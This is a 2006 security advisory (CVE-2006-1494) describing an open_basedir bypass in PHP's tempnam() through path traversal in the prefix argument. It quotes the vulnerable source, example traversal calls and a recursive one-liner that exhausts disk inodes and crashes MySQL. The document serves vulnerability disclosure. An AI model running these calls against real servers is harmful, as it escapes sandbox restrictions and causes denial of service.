-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [tempnam() open_basedir bypass PHP 4.4.2 and 5.1.2]
Author: Maksymilian Arciemowicz (cXIb8O3) Date: - -Written: 26.3.2006 - -Public: 8.4.2006 from SECURITYREASON.COM CVE-2006-1494 - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material is freely available. tempnam -- Create file with unique file name - --- 1. tempnam() open_basedir bypass --- In function tempname() are required 2 arg`s. http://pl.php.net/manual/en/function.tempnam.php string tempnam ( string dir, string prefix ) So, if we have open_basedir set to /home, we can't create file over /home directory. In ext/standard/file.c (PHP 4.4.2) - -550-578--- PHP_FUNCTION(tempnam) { pval **arg1, **arg2; char *d; char *opened_path; char p[64]; FILE *fp; if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) == FAILURE) { WRONG_PARAM_COUNT; } convert_to_string_ex(arg1); convert_to_string_ex(arg2); if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) { RETURN_FALSE; } d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1)); strlcpy(p, Z_STRVAL_PP(arg2), sizeof(p)); if ((fp = php_open_temporary_file(d, p, &opened_path TSRMLS_CC))) { fclose(fp); RETVAL_STRING(opened_path, 0); } else { RETVAL_FALSE; } efree(d); } - -550-578--- if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) { RETURN_FALSE; } Where is arg2? So we can write exploit like: tempnam("path_from_open_basedir", "../../../../../../../../Open_basedir_bypasswd"); tempnam("/home", "../../../../../../tmp/cx"); etc. It is low issue but you can try create a lot of files and overload inodes from HD.I have one particion. /var /dev/ad0s1e 1.0G 97M 858M 10% /var <- Space (B) /dev/ad0s1e 1012974 94472 837466 10% 3796 137514 3% /var <- INODES where mysql and apache try create some file. WWhen we overload free inodes, system have big problem with apache, mysql. Example: cxib# php -r 'function cx(){ tempnam("/www/", "../../../../../../var/tmp/cx"); cx(); } cx();' /var: create/symlink failed, no inodes free /var: create/symlink failed, no inodes free /var: create/symlink failed, no inodes free /var: create/symlink failed, no inodes free ... etc /usr/local/libexec/mysqld: Can't create/write to file '/var/tmp/ibBIsZ6o' (Errcode: 13) And mysql die()! - --- 2. How to fix --- CVS http://cvs.php.net/viewcvs.cgi/php-src/NEWS - --- 3. Greets --- For: sp3x and p_e_a, pi3, eax, Infospec ;] - --- 4. Contact --- Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ] Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg SecurityReason.Com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (FreeBSD) iD8DBQFEOAZB3Ke13X/fTO4RAiDmAKCbBZP8JBC0F/9cB5OgUFJPgqHB4QCgon9L kBEMIExP2TZ0+NP7l5uk9TE= =f3i4 -----END PGP SIGNATURE----- -- Ondrej Sury <[EMAIL PROTECTED]>
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